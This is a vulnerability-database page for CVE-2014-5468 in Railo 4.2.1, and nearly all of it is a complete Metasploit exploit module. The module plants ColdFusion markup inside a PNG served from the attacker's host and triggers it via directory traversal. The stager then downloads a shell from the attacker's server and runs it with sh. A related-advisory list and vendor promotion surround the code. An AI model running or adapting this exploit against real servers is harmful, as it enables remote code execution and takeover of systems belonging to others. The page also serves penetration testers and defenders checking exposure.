Lucene search
K

Railo Remote File Include

🗓️ 18 Sep 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 32 Views

Railo Remote File Include vulnerability in version 4.2.1 allows an attacker to download and execute a fully-fledged payload by including cold fusion markup in a PNG file using a directory traversal

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Railo 4.2.1 Remote File Inclusion Exploit
12 Sep 201400:00
zdt
Circl
CVE-2014-5468
15 Sep 201400:00
circl
Check Point Advisories
Railo Remote File Include (CVE-2014-5468)
9 Oct 201600:00
checkpoint_advisories
CVE
CVE-2014-5468
7 Feb 202016:04
cve
Cvelist
CVE-2014-5468
7 Feb 202016:04
cvelist
Exploit DB
Railo 4.2.1 - Remote File Inclusion (Metasploit)
15 Sep 201400:00
exploitdb
Metasploit
Railo Remote File Include
28 Aug 201413:42
metasploit
NVD
CVE-2014-5468
7 Feb 202017:15
nvd
Packet Storm
Railo 4.2.1 Remote File Inclusion
12 Sep 201400:00
packetstorm
Prion
Arbitrary file deletion
7 Feb 202017:15
prion
Rows per page

                                                ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
 
  def initialize(info = {})
    super(update_info(info,
                      'Name' => 'Railo Remote File Include',
                      'Description' => '
                      This module exploits a remote file include vulnerability in Railo,
                      tested against version 4.2.1. First, a call using a vulnerable
                      <cffile> line in thumbnail.cfm allows an atacker to download an
                      arbitrary PNG file. By appending a .cfm, and taking advantage of
                      a directory traversal, an attacker can append cold fusion markup
                      to the PNG file, and have it interpreted by the server. This is
                      used to stage and execute a fully-fledged payload.
                                            ',
                      'License' => MSF_LICENSE,
                      'Author' => [
                        'Bryan Alexander <[email protected]>', # Discovery/PoC
                        'bperry' # metasploited
                      ],
                      'References' => [
                        ['CVE', '2014-5468'],
                        ['URL', 'http://hatriot.github.io/blog/2014/08/27/railo-security-part-four/']
                      ],
                      'Payload' => {
                        'Space' => 99999, # if there is disk space, I think we will fit
                        'BadChars' => "",
                        'DisableNops' => true,
                        'Compat' => {
                          'PayloadType' => 'cmd',
                          'RequiredCmd' => 'generic netcat perl ruby python bash telnet'
                        }
                      },
                      'Platform' => %w(                      unix                      ),
                      'Targets' =>
                      [
                        [
                          'Automatic',
                          {
                            'Platform' => [ 'unix' ],
                            'Arch' => ARCH_CMD
                          }
                        ]
                      ],
                      'DefaultTarget' => 0,
                      'DisclosureDate' => 'Aug 26 2014'))
 
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base URI of the Railo server', '/railo-context/']),
        OptInt.new('STAGEWAIT', [true, 'Number of seconds to wait for stager to download', 10])
      ], self.class)
  end
 
  def check
    md5 = '6de48cb72421cfabdce440077a921b25' # /res/images/id.png
 
    res = send_request_cgi(
      'uri' => normalize_uri('res', 'images', 'id.png') # the targeturi is not used in this request
    )
 
    if !res
      fail_with(Failure::Unknown, 'Server did not respond')
    elsif !res.body
      fail_with(Failure::Unknown, "Server responded without a body: #{res.code} #{res.message}")
    end
 
    new_md5 = Rex::Text.md5(res.body)
 
    return Exploit::CheckCode::Appears if new_md5 == md5
 
    Exploit::CheckCode::Safe
  end
 
  def exploit
    if datastore['SRVHOST'] == '0.0.0.0'
      fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from another computer')
    end
 
    url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s
 
    @shell_name = Rex::Text.rand_text_alpha(15)
    stager_name = Rex::Text.rand_text_alpha(15) + '.cfm'
 
    start_service('Uri' => {
                    'Proc' => proc do |cli, req|
                      on_request_stager(cli, req)
                    end,
                    'Path' => '/' + stager_name
                  })
 
    start_service('Uri' => {
                    'Proc' => proc do |cli, req|
                      on_request_shell(cli, req)
                    end,
                    'Path' => '/' + @shell_name
                  })
 
    wh = '5000' # width and height
 
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'thumbnail.cfm'),
      'vars_get' => {
        'img' => url + '/' + stager_name,
        'height' => wh,
        'width' => wh
      }
    )
 
    if !res
      fail_with(Failure::Unknown, 'Server did not respond')
    elsif res.code != 500
      fail_with(Failure::Unknown, "Server did not respond with the expected HTTP 500: #{res.code} #{res.message}")
    end
 
    print_status('Waiting for first stage to download...')
 
    i = datastore['STAGEWAIT']
    while !@staged && i > 0
      select(nil, nil, nil, 1)
      print_status("Waiting for #{i} more seconds...")
      i = i - 1
    end
 
    @staged = false
 
    if i == 0
      fail_with(Failure::Unknown, 'Server did not request the stager.')
    end
 
    hash = Rex::Text.md5("#{url + "/" + stager_name}-#{wh}-#{wh}") # 5000 is width and height from GET
 
    hash.upcase!
 
    print_status('Executing stager')
 
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'img.cfm'),
      'vars_get' => {
        'attributes.src' => '../../../../temp/admin-ext-thumbnails/' + hash,
        'thistag.executionmode' => 'start'
      }
    )
  end
 
  def on_request_shell(cli, _request)
    print_status('Sending payload')
    send_response(cli, payload.encoded, {})
    handler(cli)
  end
 
  def on_request_stager(cli, _request)
    url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name
 
    stager = "<cfhttp method='get' url='#{url}'"
    stager << " path='#GetDirectoryFromPath(GetCurrentTemplatePath())#..\\..\\..\\..\\..\\..\\'"
    stager << " file='#{@shell_name}'>"
    stager << "<cfexecute name='sh' arguments='#{@shell_name}' timeout='99999'></cfexecute>"
 
    png = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcS'
    png << 'JAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg=='
 
    # A very small PNG file
    png = Rex::Text.decode_base64(png)
 
    stager.each_byte do |b|
      png << b
    end
 
    png << 0x00
 
    print_status('Sending stage. This might be sent multiple times.')
    send_response(cli, png,  'Content-Type' => 'image/png')
 
    @staged = true
 
    handler(cli)
  end
end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation